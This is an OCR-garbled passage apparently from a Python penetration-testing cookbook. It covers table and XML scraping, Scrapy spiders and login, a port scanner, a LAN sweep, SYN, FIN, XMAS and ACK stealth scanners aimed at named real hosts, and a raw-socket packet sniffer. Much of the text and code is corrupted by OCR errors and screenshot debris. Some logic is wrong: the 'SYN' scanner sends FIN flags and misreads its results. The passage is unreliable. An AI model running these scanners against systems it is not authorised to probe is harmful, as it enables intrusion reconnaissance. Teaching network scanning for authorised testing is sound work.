soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]

Here, it will get the first table on the web page.

4. Now we can use the pandas library to create a patarrame for the table:

| new_table = pd.DataFrame(columns=['Company', 'Contact', 'Country'], index=range(0, 7))

This will create a patarrame with three columns and six rows. The columns will display the
company name, contact details, and country.

5. Now we have to parse the data and add it to the patarrame:

row_number = 0
for row in table.find_all('tr'):
column_number = 0
columns = row.find_all('td')
for column in columns:
new_table.iat[row_number, columns_number] = column.get_ text()
columns_number += 1
row_number += 1
print new_table

This will print the patarrame.

pataFrame IS a two-dimensional, labeled data structure with columns of potentially
different types. It is more like a dict of series objects.

6. This script can be run with Python 3 with some changes, shown as follows:



import urllib.request
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:

page = urllib.request.urlopen(url)
except Exception as e:

print(e)

pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(columns=['Company', 'Contact', 'Country'], index=range(0, 7))
row_number = 0
for row in table.find_all('tr')

column_number = 0

columns = row.find_all('td')

for column in columns:

new_table.iat[row_number, column_number] = column.get_text()
column_number += 1

row_number += 1

print(new_table)

The main changes are made to the ur11ib module and the print statements.

You can learn more about the pandas data analysis toolkit at https://pandas.pydata.org/pand

as-docs/stable/.


https://pandas.pydata.org/pandas-docs/stable/

Extracting data from HTML documents

We can extract the parsed data to .csv or Excel format with the help of the pandas library.



Getting ready

To use the functions in the pandas module that export the parsed data to Excel, we require another
dependent module openpyx1, so please make sure you install the openpyx1 with pip:

| pip install openpyxl



How to do it...

We can extract the data from HTML to .csv or Excel documents as following:

1. To create a .csv file, we can use the to_csv() method in pandas. We can rewrite the previous
recipe as follows:

import urllib.request
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:

page = urllib.request.urlopen(url)
except Exception as e:

print(e)

pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(columns=['Company', 'Contact', 'Country'], index=range(0, 7))
row_number = 0
for row in table.find_all('tr')

column_number = 0

columns = row.find_all('td')

for column in columns:

new_table.iat[row_number, column_number] = column.get_text()
column_number += 1

row_number += 1

new_table.to_csv('table.csv')

This will create a .csv file with the name tabie.csv.
2. In the same way, we can export to Excel with the to_exce1() method.

Change the last line in the previous script to the following:

| new_table.to_excel('table.xlsx")



Parsing XML data

Sometimes, we will get an XML response from the server, and we have to parse the XML to
extract the data. We can use the xm1.etree.Elementtree module to parse the XML files.



Getting ready

We have to install the required module, xm1:

| pip install xml



How to do it...

Here is how we can parse XML data with XML module:

1. First import the required modules. As this script is in Python 3, make sure that you import
the correct modules:

from urllib.request import urlopen
from xml.etree.ElementTree import parse

2. Now get the XML file with the uriopen method in the ur11ib module:

| url = urlopen('http://feeds.feedburner.com/TechCrunch/Google"')

3. Now parse the XML file with the parse method in the xmi.etree.e1ementTree module:

| xmldoc = parse(url)

4. Now iterate and print the details in XML.:

for item in xmldoc.iterfind('channel/item'):
title = item.findtext('title')
desc = item.findtext('description')
date = item.findtext('pubDate')
link = item.findtext('link'")
print(title)
print(desc)
print(date)
print(link)
print('--------- ")

5. This script can be rewritten to run in Python 2 as follows:

from urllib2 import urlopen
from xml.etree.ElementTree import parse
url = urlopen('http://feeds.feedburner.com/TechCrunch/Google')
xmldoc = parse(url)
xmldoc.write('output.xml')
for item in xmldoc.iterfind('channel/item'):
title = item.findtext('title')
desc = item.findtext('description')
date = item.findtext('pubDate')
link = item.findtext('link'")
print title
print desc
print date
print link
print '---------

This can also be exported to Excel or .csv, as we did in the previous recipe.



Web Scraping with Scrapy and
BeautifulSoup

In this chapter, we will cover the following recipes:

e Web spiders with Scrapy

e Scrapy shell

e Linking the extractor with Scrapy

e Scraping after logging into websites using Scrapy



Introduction

Scrapy is one of the most powerful Python web-crawling frameworks, and it can help with a lot
of basic functionalities for efficiently scraping web pages.



Web spiders with Scrapy

Web spidering starts with a URL or a list of URLS to visit, and when the spider gets a new page,
it analyzes the page to identify all the hyperlinks, adding these links to the list of URLs to be
crawled. This action continues recursively for as long as new data is found.

A web spider can find new URLs and index them for crawling or download useful data from
them. In the following recipe, we will use Scrapy to create a web spider.



Getting ready

We can start by installing Scrapy. It can be installed from Python's pip command:

| pip install scrapy

Make sure that you have the required permission for installing Scrapy. If any errors occur with
the permission, use the sudo command.



How to do it...

Let's create a simple spider with the Scrapy:

1. For creating a new spider project, open the Terminal and go to the folder for our spider:

$ mkdir new-spider
$ cd new-spider

2. Then run the following command to create a new spider project with scrapy:

| $ scrapy startproject books

This will create a project with the name books and some useful files for creating the
crawler. Now you have a folder structure, as shown in the following screenshot:

3. Now we can create a crawler with the following command:

| $ scrapy genspider home books.toscrape.com

This will generate the code for the spider with the name nome, as we are planning to spider
the home page of books. toscrape.con. Now the folder structure inside the spiders folder will
be as follows:

4. As you can see, there is a file named home.py inside the spiders folder. We can open the home.py
and start editing it. The nome.py files will have the following code:

# -*- coding: utf-8 -*-

import scrapy

class HomeSpider(scrapy.Spider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/"']
def parse(self, response):



| pass

Homespider iS @ subclass of scrapy.spider. The name is set as nome, which we provided while
generating the spider. The al1owed_domains property defines the authorized domains for this
crawler and start_ur1s defines the URLSs for the crawler to start with.

As the name suggests, the parse method parses the content of the accessed URLs.

5. Try running the spider with the following command:

| $ scrapy crawl home

6. Now we can rewrite the spider to navigate through the pagination links:

from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
class HomeSpider(CrawlSpider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/"']
rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)),
callback="parse_page",
follow=True),)
def parse_page(self, response):
print(response.url)

To navigate through many pages, we can use a subclass of crawispider. Import the
crawlspider and rule module from scrapy.spider. For extracting links, we can use Linkextractor
fFOIIlscrapy.linkextractors.

Then we have to set the ruies variable, which is used to set the rule for navigating through
the pages. Here, we used the restrict_css parameter to set the css class to get to the next
page. The css class for the next page's URL can be found by inspecting the web page
from the browser, as shown in the following screenshot:

Console [ Debugger {} Style Editer  (Z Performance £k Memory = Network & Storage

<ol class="row"=[=]</ol>
<div=
<ul class="pager">
::before
=li class="current"=[=)</Lli=
=a href="catalegue/page—2.html">next=/a>
<fli=
::after
=ful=>
=/div>
<fdive
</section>

7. Now check the crawler by running it with the following command:

| $ scrapy crawl home

This will print all the URLSs that the spider parsed.



8. Let's rewrite the script to get the book titie and the price. For this, we have to create a class
for our item, so inside the book project we will create another file with the name item.py and
define our item to extract:

from scrapy.item import Item, Field
class BookItem(Item):

title = Field()
price Field()

Here, we define a new class with the details we expect to extract with our spider. Now
the folder structure will be as follows:

9. Then, update the spider/nome.py file to extract the data:

from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from books.item import BookItem
class HomeSpider(CrawlSpider):
name = "home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/"']
rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)),
callback="parse_page",
follow=True),)
def parse_page(self, response):

items = []
books = response.xpath('//0l/1i/article')
index = 0

for book in books:

item = BookItem()

title = books.xpath('//h3/a/text()')[index].extract()

item['title'] = str(title).encode('utf-8").strip()

price = books.xpath('//article/div[contains(@class, "product_price")]/p[1]/text()")
[index].extract()

item['price'] = str(price).encode('utf-8").strip()

items.append(item)

index += 1

yield item

Update the parse_page method to extract the titie and price details from each page. To
extract the data from the page, we have to use a selector. Here, we used the xpath selector.
XPath is a common syntax or language that is used to navigate through XML and HTML
documents.



In the parse_page method, initially, we selected all the article tags in which the book details
are placed on the website and iterated through each article tag to parse the titles and
prices of the books.

10. To get the xpath selector for a tag, we can use the Google Chrome browser's XPath tool as
follows:

v<article class="product_pod"=
k<div class="image_container'=.=/div=
b <p class="star-rating One">.</p>
¥<h3=

<a href="in-her-wake 988/index.html" title="In Her Wake"=In
Her Wake=/a>

</h3=
v=div class="product_price"=
»<p class="] Md Attr_lbum =/ p=
b <form=..</f¢  Edit Attribute
“fd-"_-""' Edit as HTML ]
Copy outerHTHL
B S | Copy selector
b <li class="col-x :
b <li class="col-x Hide element Copy XPath
p<li class—"col-x Delete element Cut element
himl  #default div dv div div s p f £ e
Expand all Opy elemen o
Styles | Event Listeners DOM Breakpoing Collapse all I
Filter 5
element.style { ::the
} -hover
.product_pod .price_color { :f(.)(iUS
margin-top: @; :visited

.product_pod .image_container, Scroll into View =

.product_pod .availability, -

.product_pod .price_color { Break on... > prs
margin-bottom: 18px; ‘
.product_pod .availability, styles.css:89089| _ —
.product_pod .price_color { |F|1ler Show all
We can use Firefox Inspector as following:
[w {}inspector [ Console [ Debugger {} Style Editer (3 Performance 4k Memory = Network S Storage @@ Adblock Plus
L
<IDOCTYPE html>
<!—[if 1t IE 7]> <html lang="en" class="no-js ie6"s> <![endif]-—>
<!——[if IE 7]> <html lang="en" class="no-js ie7"> <1landifl__~
<!-—[if TE B]> <html lang="en" class="no-js ie8! Edit As HTML
<i-=[if gt IE B]><|——> ‘ Create New Node
<html class="no-js fp-enabled" style="overflow: 1g="en"> 0

<i-—<![endif]—>

‘ Duplicate Node

b <heads () </heads Delete Node
<body class="fp-viewing-@ fp-responsive" data—JEVidElsIV(=1] | gl rotate” style="overflow: visible; height: initial;
w<div id="fullpage" class="fullpage-wrapper" | relative; transform: translate3d(@px, @px, @px);"> (D
- <section id="home" class="section fp-sectic haver y" style="height: 502px;"> @
» <div class="fp-tableCell" style="height: ‘ active
w <div class="main"> ‘ focus

w <div class="wrappr'>
<div>

div class="me"s(m)</div> Inner HTML

b <div = Lt v

v <div class="desc"> ‘ Paste Quter HTML
<h1>REJAH REHIM</h1> ‘ d Al CSS Selector
<h2 id="color3"sWebDev | Pentests Exr:an A CSS Path
e Collapse

html.no-js.fp-enabled

body.fp-viewing-0.fp-responsivy
W | Filter output

ction.active.f... div.fp-tableCell

Scroll Into View Image Data-URL

Screenshot Node

* div.main

11. Now we can run the spider to extract the data to a .csv file:

| $ scrapy crawl home -o book-data.csv -t csv

This will create a file named book-data.csv in the current directory containing the extracted



details.

You can learn more about selectors such as XPath and how to select details from a
0 page at https://doc.scrapy.org/en/latest/topics/selectors.html.


https://doc.scrapy.org/en/latest/topics/selectors.html

Scrapy shell

Scrapy shell is a command-line interface that helps to debug scripts without running the entire
crawler. We have to provide a URL, and Scrapy shell will open up an interface to interact with
objects that the spider handles in its callbacks, such as a response object.



How to do it...

We can go through some simple usage of Scrapy's interactive shell. The steps are as follows:

1. Open up a Terminal window and type the following command:

| $ Scrapy shell http://books.toscrape.com/

After loading the Scrapy shell, it will open up an interface to interact with the response
object as follows:

2. We can use this interface to debug the selectors for the response object:

| >>> response.xpath('//0l/1i/article')

This will print the selector output. With this, we can create and test the extraction rules
for spiders.

3. We can also open the Scrapy shell from the code for debugging errors in extraction rules.
For that, we can use the inspect_response method:

from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from scrapy.shell import inspect_response
class HomeSpider(CrawlSpider):
name = "home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/"']
rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)),
callback="parse_page",
follow=True),)
def parse_page(self, response):
if len(response.xpath('//0l/1i/article')) < 5:
title = response.xpath('//h3/a/text()')[0].extract()
print(title)
else:
inspect_response(response, self)

This will open up a shell interface if the condition fails. Here, we have imported



inspect_response and used it to debug the spider from the code.



Link extractor with Scrapy

As their name indicates, link extractors are the objects that are used to extract links from the
Scrapy response object. Scrapy has built-in link extractors, such as scrapy.linkextractors.



How to do it...

Let's build a simple link extractor with Scrapy:
1. As we did for the previous recipe, we have to create another spider for getting all the links.

In the new spider file, import the required modules:

import scrapy
from scrapy.linkextractor import LinkExtractor
from scrapy.spiders import Rule, CrawlSpider

2. Create a new spider class and initialize the variables:

class HomeSpider2(CrawlSpider):
name = 'home2'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/"']

3. Now we have to initialize the rule for crawling the URL:

rules = [
Rule(
LinkExtractor(

canonicalize=True,
unique=True

follow=True,
callback="parse_page"

This rule orders the extraction of all unique and canonicalized links, and also instructs the
program to follow those links and parse them using the parse_page method

4. Now we can start the spider using the list of URLs listed in the start_ur1s variable:

def start_requests(self):
for url in self.start_urls:
yield scrapy.Request(url, callback=self.parse, dont_filter=True)

The start_requests() method is called once when the spider is opened for scraping

5. Now we can write the method to parse the URLSs:

def parse_page(self, response):
links = LinkExtractor(canonicalize=True, unique=True).extract_links(response)
for link in links:
is_allowed = False
for allowed_domain in self.allowed_domains:
if allowed_domain in link.url:
is_allowed = True
if is_allowed:
print link.url

This method extracts all canonicalized and unique links with respect to the current
response. It also verifies that the domain of the URL of the link is in one of the



authorized domains.



Scraping after logging into websites using
Scrapy

There are situations where we have to log into websites to access the data we are planning to
extract. With Scrapy, we can handle the login forms and cookies easily. We can make use of
Scrapy's Formrequest Object; it will deal with the login form and try to log in with the credentials
provided.



Getting ready

When we visit a website that has authentication, we need a username and password. In Scrapy,
we need the same credentials to log in. So we need to get an account for the website that we plan

to scrape.



How to do it...

Here is how we can use Scrapy to crawl websites which require logging in:

1. To use the rornrequest object, we can update the parse_page method as follows:

def parse(self, response):
return scrapy.FormRequest.from_response(
response,
formdata={'username': 'username', 'password': 'password'},
callback=self.parse_after_login

)

Here, the response object is the HTTP response of the page where we have to fill in the
login form. The rornrequest method includes the credentials that we need to log in and the
callback method that is used to parse the page after login.

2. To paginate after logging in while preserving the logged-in session, we can use the method
we used in the previous recipe.



Network Scanning with Python

In this chapter, we will cover the following recipes:

Simple port scanner

IP range/network scanner
Stealth scanning

FIN scanning

XMAS scanning

TCP ACK scanning
LanScan



Introduction

In penetration testing and network analysis, network scanners play a major role in getting the
details of hosts that are available in the local network and applications running on those hosts.
Network scanning helps to identify available UDP and TCP network services running on the
hosts, and also helps to determine the operating systems (OSs) being used by the hosts.



Simple port scanner

A port scanner is designed to examine a server or host machine for open ports. It helps the
attackers to identify the service running on the host machine and exploit the vulnerabilities, if

there are any.



Getting ready

We can write a simple port scanner with Python using the socket module. The socket module is the
default low-level networking interface in Python.



How to do it...

We can create a simple port scanner with the socket module, following are the steps:

1. Create a new file called port-scanner.py and open it in your editor.
2. Import the required modules, as follows:

| import socket, sys,os
Import the socket module along with the sys and os modules

3. Now we can define the variables for our scanner:

host = 'example.com'
open_ports =[]
start_port = 1
end_port = 10

Here we define the starting and ending ports that we plan to scan

4. Get the IP from the domain name:

| ip = socket.gethostbyname(host)

Here we use the gethostbyname method in the socket module. This will return the IP of the
domain

5. Now we can write a function to probe the port:

def probe port(host, port, result = 1):
try:
sockObj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockObj.settimeout(0.5)
r = sockObj.connect_ex((host, port))
if r == 0:
result = r
sock.close()
except Exception ase:
pass
return result

Here we create a socket object named sockobj and try to connect it to the port. If the
connection succeeds, then the port is open. The socket object created is using the IPv4
socket family (ar_inet ) and a TCP type connection (sock_stream). For the UDP type
connection, we have to use sock_bcram.

Finally, it returns the result as the output of the function.

6. Now we will write a for loop to iterate through the range of ports, and probe the port with
the probe_port method:

for port in range(start_port, end_port+1):
sys.stdout.flush()



print (port)
response = probe_port(host, port)

if response == 0:
open_ports.append(port)
if not port == end_port:

sys.stdout.write('\b' * len(str(port)))
If the port is open then the result is added to a list open_port

7. Finally, print the result list as follows:

if open_ports:
print ("Open Ports")
print (sorted(open_ports))
else:
print ("Sorry, No open ports found.!!")

8. Now we can try changing the preceding script to scan a list of default ports.

For that, we will define a list of default ports:

common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443,
445, 500, 546, 547, 587, 660, 995, 993, 2086,
2087, 2082, 2083, 3306, 8443, 10000

Also, we change the loop to call probe_port, as follows:

for p in sorted(common_ports):
sys.stdout.flush()

print p
response = probe_port(host, p)
if response == 0:

open_ports.append(p)
if not p == end_port:
sys.stdout.write('\b' * len(str(p)))



IP range/network scanner

We can use ICMP packets to create a network scanner. As ICMP is not an IP protocol, we have
to access the network stack directly. So, here we can use Scapy to generate an ICMP packet and
send it to the host.



Getting ready

To start the scraping, we have to install the required Python packages. Here we use Scapy for the
packet generation. To install Scapy, we can use pip. As we are using Python 3, make sure to
install Scapy for Python 3. Also install its dependency module, netifaces:

pip3 install scapy-python3
pip3 install netifaces



How to do it...

Here are the steps for creating a simple network scanner using the scapy module:

1. Create a file called network-scanner.py and open it in your editor.
2. Import the required modules for the script:

import socket, re
from scapy.all import *

3. To get the local IP of the system, we use the getsocknane method in the socket module.
However, it require a connection. So, we create a UDP socket connection to connect to
Google DNS and use this connection to enumerate the local IP:

s.connect(('8.8.8.8', 80))

s = socket.socket(socket.AF_INET, socket.SOCK DGRAM)
ip = s.getsockname()[0]

4. Now we extract the local IP and truncate the last IP digits with a regular expression:

| end = re.search('A[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.[\d]{1,3}', ip)
create_ip = re.search('A[\d]{1,3}.[\d]{1,3}.[\d]1{1,3}."', ip)

5. Now create a function to generate an ICMP packet and send it to the host. Here we use
Scapy:

def is up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sri(icmp, timeout=10)
if resp == None:
return False
else:
return True

6. Create another function to check whether the IP is a loopback (127.0.0.1):

def CheckLoopBack(ip):
if (end.group(0) == '127.0.0.1'):
return True

7. Now run the LAN sweep scan for all IPs in the network by iterating through the last IP
digits:

try:
if not CheckLoopBack(create_ ip):
conf.verb = 0
for i in range(1, 10):
test_ip = str(create_ip.group(0)) + str(i)
if is up(test_ip):
print (test_ip + " Is Up")
except KeyboardInterrupt:
print('interrupted!')

conf.verb = o will disable the verbose mode in Scapy to avoid the logs from Scapy



8. Make sure to run the script with an administrative privilege, as Scapy requires
administrative access to create the packets:

| sudo python3 network-scanner.py



Stealth scanning
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Stealth scanning is a form of TCP scanning. Here the port scanner creates raw IP packets and
sends them to the host to monitor for responses. This type of scan is also known as half-open
scanning, or SYN scanning, as it never opens a complete TCP connection. This type of scanner
creates a SYN packet and sends it to the host. If the target port is open, the host will respond with
a SYN-ACK packet. Then the client will respond with an RST packet to close the connection
before completing the handshake. If the port is closed but unfiltered, the target will instantly

respond with an RST packet.

To create a SYN scanner, we will use the Scapy module. It is a powerful interactive packet

manipulation program and library.



Getting ready

For scanning ports, we will sending custom packets to the host we are scanning and parse the
response to analyze the results. We require Scapy to generate and send packets to the host. Make
sure to have the scapy module is installed in the system.



How to do it...

We can create a SYN scanner with the following steps:

1. Create a new file called syn-scanner.py and open it in your editor.
2. As usual, import the required modules:

| from scapy.all import *
This will import the scapy module

3. Now we can declare the variables, and we can also pass these variables as arguments, if

required:
host = 'www.dvwa.co.uk'
ip = socket.gethostbyname(host)
openp = []

filterdp = []

common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443, 445, 500, 546, 547, 587, 660,

995, 993, 2086, 2087, 2082, 2083, 3306, 8443, 10000 }

4. Now we can create a function to check whether the host is up or down:

def is up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sri(icmp, timeout=10)
if resp == None:
return False
else:
return True

We create and send an ICMP packet to the host. The host will respond if it is up.

5. Next, we can create a function to scan the port using SYN packets:

def probe port(ip, port, result = 1):
src_port = RandShort()
try:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='F')
resp = sri(p, timeout=2) # Sending packet
if str(type(resp)) == "<type 'NoneType'>":
result = 1
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x14:
result = 0
elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in
[1,2,3,9,10,13]):
result = 2
except Exception as e:
pass
return result

Here we set a random port as the destination port, and then create a SYN packet with the
source port, destination port, and destination IP. Then we will send the packet and

analyze the response. If the response type is none, then the port is closed. If the response
has a TCP layer, then we have to check the flag value in it. The flag has nine bits, but we



check for the control bits, which have six bits. They are:

URG = 0x20
ACK =0x10
PSH = 0x08
RST = 0x04
SYN = 0x02
FIN = 0x01

The following is the header structure for the TCP layer:

source port number destination port number
2 bytes 2 bytes

sequence number
4 bytes

acknowledgement number
4 bytes

dataoffset | reserved control flags window size
4bits 3 bits 9 bits 2 bytes

checksum urgent pointer
2 bytes 2 bytes

optional data
0-40 bytes

~ Flags: Ox82 (SYN)
= Congestion Window Reduced (CWR): Not set
.. = ECN-Echo: Not set
A2 .. = Urgent: Not set
...0 .... = Acknowledgement: Not set
«... 0... = Push: Not set
«... .0.. = Reset: Not set
b a1 = Syn: Seb

So, if the flag value is 0x12, then the response has a SYN flag and we can consider the
port to be open. If the value is 0x14, then the flag is RST/ACK, so the port is closed.

6. Then we will check whether the host is up or not, loop through the common ports list, and
scan each port if the host is up:

if is_up(ip):
for port in common_ports:
print (port)
response = probe_port(ip, port)
if response == 1:
openp.append(port)
elif response == 2:
filterdp.append(port)
if len(openp) != 0:
print ("Possible Open or Filtered Ports:")
print (openp)
if len(filterdp) != 0:
print ("Possible Filtered Ports:")
print (filterdp)
if (len(openp) == 0) and (len(filterdp) == 0):
print ("Sorry, No open ports found.!!")
else:
print ("Host is Down")

Each port from the common port list is scanned and the identified open ports are added to
the open ports list, following the list that is printed

7. Make sure to run the script with sudo, as we are using Scapy and Scapy requires admin



privileges:

sudo python3 syn-scanner.py
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SYN scanning can be blocked by firewalls. However, packets with the FIN flag set have the
ability to bypass firewalls. Here is how it works--for a FIN packet, the closed ports reply with an
RST packet, whereas the open ports ignore the packets. If it's an ICMP packet with type 3, and
code 1, 2, 3,9, 10, or 13, we may infer that the port is filtered and the port state cannot be found.
We can use Scapy to create the FIN packet and scan the ports.



How to do it...

We can create a FIN scanner as following:

1. As we did in the previous recipe, we have to create another file, fin-scanner.py, and open it in
our editor.
2. Then import the required module:

| from scapy.all import *

3. As we did for the SYN scanner, set the variables and create the function to check whether
the server is up or not:

host = 'www.dvwa.co.uk'
ip = socket.gethostbyname(host)
openp = []

filterdp = []

common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443,
445, 500, 546, 547, 587, 660, 995, 993, 2086,
2087, 2082, 2083, 3306, 8443, 10000

def is up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sri(icmp, timeout=10)
if resp == None:
return False
else:
return True

4. Now we can create the function to probe the ports as follows:

def probe port(ip, port, result = 1):
src_port = RandShort()
try:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='F')
resp = sri(p, timeout=2) # Sending packet
if str(type(resp)) == "<type 'NoneType'>":
result = 1
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x14:
result = 0
elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in
[1,2,3,9,10,13]):
result = 2
except Exception as e:
pass
return result

Here we changed the flag to r for rin, while creating the packet to send

5. Finally, we will check whether the host is up or not, loop through the common ports list,
and scan each port if the host is up:

if is up(ip):
for port in common_ports:
print (port)
response = probe_port(ip, port)
if response == 1:
openp.append(port)



elif response == 2:
filterdp.append(port)
if len(openp) != 0:
print ("Possible Open or Filtered Ports:")
print (openp)
if len(filterdp) != 0:
print ("Possible Filtered Ports:")
print (filterdp)
if (len(openp) == 0) and (len(filterdp) == 0):
print ("Sorry, No open ports found.!!")
else:
print ("Host is Down")



XMAS scanning

With XMAS scanning, we will send a TCP packet with a bunch of flags all at once (PSH, FIN,
and URG). We will get an RST if the port is closed. If the port is open or filtered, then there will
be no response from the server. It's similar to the FIN scan, other than the packet-creating part.



How to do it...

Here are the steps to create a XMAS scanner with Scapy:

1. Create a copy of the file we created for the previous recipe (FIN scanning). As it is quite
similar, we only need to change the packet-creation section.

2. To create and send a packet with PSH, FIN, and URG flags in it, update the packet-crafting
section inside the prove_port method, as follows:

| p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='FPU')

Only update the flags parameter. Here we set the flags as rru for PSH, FIN, and URG
combined.



TCP ACK scanning

ACK flag scanning is useful to verify whether the server is blocked with firewalls, IPS, or other
network security controls. As in the FIN scan, we will send an TCP ACK packet. No response or
an ICMP error indicates the presence of a stateful firewall, as the port is filtered, and if we get
back an RST-ACK, then the stateful firewall is absent:
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How to do it...

The steps to create a TCP ACK scanner with Scapy are as following:

1. As usual, import the required modules and set the variables. Also, define the method to
check the status of the host:

from scapy.all import *
# define the host, port

host = 'rejahrehim.com'
ip = socket.gethostbyname(host)
port = 80

# define the method to check the status of host
def is up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sri(icmp, timeout=10)
if resp == None:
return False
else:
return True

2. To send a TCP packet with the ack flag, update the probe_port method in the previous recipe,
as follows:

def probe port(ip, port, result = 1):
src_port = RandShort()
try:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='A', seq=12345)
resp = sri(p, timeout=2) # Sending packet
if str(type(resp)) == "<type 'NoneType'>":
result = 1
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x4:
result = 0
elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in
[1,2,3,9,10,13]):
result = 1
except Exception as e:
pass
return result

Here we create a TCP ACK packet and send it to the host

3. Finally, run the scanner, as follows:

if is up(ip):
response = probe_port(ip, port)

if response == 1:
print ("Filtered | Stateful firewall present")
elif response == 0:

print ("Unfiltered | Stateful firewall absent")
else:
print ("Host is Down")



LanScan

LanScan is a Python 3 module that helps to scan a given local network. It can list all devices and
their open ports. LanScan also helps to get the information about network interfaces and
networks.



Getting ready

We can install 1anscan using pip:

| pip3 install lanscan



How to do it...

Here are some use cases for LanScan:

1. LanScan has some options that we can use for scanning the LAN. To get the details about
the available interfaces in the system, we can use the interfaces option:

| sudo lanscan interfaces

This will print the available interfaces, as follows:

2. We can get the list of connected networks by using the network command:

| sudo lanscan networks

3. We can start a local network scan from the terminal window. It requires admin privileges:

| sudo lanscan scan

Here it will list the IP addresses in the LAN network and the open ports in each system



Network Sniffing with Python

In this chapter, we will cover the following recipes:

e Packet sniffer in Python
e Parsing the packet
e PyShark



Introduction

A sniffer is a program that can intercept network traffic and sniff packets to analyze them. As
data streams flow across the network, the sniffer can capture each packet, decode the packet's
raw data to get the values of various fields in the packet headers, and analyze its content

according to the appropriate specifications. Network packet sniffers can be written in Python.



Packet sniffer in Python

A simple packet sniffer in Python can be created with the help socket module. We can use the
raw socket type to get the packets. A raw socket provides access to the underlying protocols,
which support socket abstractions. Since raw sockets are part of the internet socket API, they can
only be used to generate and receive IP packets.

Accessible with DATAGRAM / STREAM

Layer 2 Header Layer 3 Header Layer 4 Header e Layer 2 Footer
eg: Ethernet eg: 1P eq: TCP Applicaion Lty L DATA eg: Ethenet

Accessible with RAW Socket

Accessible with DATA link API



Getting ready

As some behaviors of the socket module depend on the operating system socket API and there is
no uniform API for using a raw socket under a different operating system, we need to use a
Linux OS to run this script. So, if you are using Windows or macOS, please make sure to run this
script inside a virtual Linux environment. Also, most operating systems require root access to use

raw socket APIs.



How to do it...

Here are the steps to create a basic packet sniffer with socket module:

1. Create a new file called basic-packet-sniffer-1inux.py and open it in your editor.
2. Import the required modules:

import socket

3. Now we can create an 1net raw socket:

s = socket.socket(socket.AF_INET, socket.SOCK RAW, socket.IPPROTO_TCP)

Both reading and writing to a raw socket require creating a raw socket first. Here we use
the 1net family raw socket. The family parameter for a socket describes the address family
of the socket. The following are the address family constants:

aF_tocaL: Used for local communication
ar_unix: Unix domain sockets

ar_inet: IP version 4

ar_inete: IP version 6

ar_tpx: Novell IPX

ar_neTLink: Kernel user-interface device
aF_x25: Reserved for X.25 project
aF_axzs: Amateur Radio AX.25
Ar_appLeTALK: Appletalk DDP

ar_packeT: Low-level packet interface
ar_aLe: Interface to kernel crypto API

The next parameter passed is the type of the socket. The following are the possible values
for the socket type:

® sock_sTream: Stream (connection) socket
e sock_peram: Datagram (connection-less) socket

o sock_raw: RAW socket

e sock_rom: Reliably delivered message

® sock_seqrackeT: Sequential packet socket

e sock_packeT: Linux-specific method of getting packets at the development level

The last parameter is the protocol of the packet. This protocol number is defined by the
Internet Assigned Numbers Authority (IANA). We have to be aware of the family of
the socket; then we can only choose a protocol. As we selected ar_tner (IPV4), we can
only select IP-based protocols.

4. Next, start an infinite loop to receive data from the socket:



while True:
print(s.recvfrom(65565))

The recvfrom method in the socket module helps us to receive all the data from the socket.
The parameter passed is the buffer size; sss6s5 is the maximum buffer size.

5. Now run the program with Python:

| sudo python3 basic-packet-sniffer-linux.py

The result will be as follows:




Parsing the packet

Now we can try to parse the data that we sniffed, and unpack the headers. To parse a packet, we
need to have an idea of the Ethernet frame and the packet headers of the IP.

The Ethernet frame structure is as follows:

Destination MAC Source MAC - Ether Type ' '
6 bytes 6 bytes ‘ 2 bytes 1P CRC Checksum
MAC Header DATA
4 bytes
(14 bytes) 46 - 1500 bytes v

The first six bytes are for the Destination MAC address and the next six bytes are for the
Source MAC. The last two bytes are for the Ether Type. The rest includes DATA and CRC
Checksum. According to RFC 791, an IP header looks like the following:
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The IP header includes the

following sections:

e Protocol Version (four bits): The first four bits. This represents the current IP protocol.
e Header Length (four bits): The length of the IP header is represented in 32-bit words.
Since this field is four bits, the maximum header length allowed is 60 bytes. Usually the
value is 5, which means five 32-bit words: 5 * 4 = 20 bytes.
e Type of Service (eight bits): The first three bits are precedence bits, the next four bits
represent the type of service, and the last bit is left unused.
e Total Length (16 bits): This represents the total IP datagram length in bytes. This a 16-bit
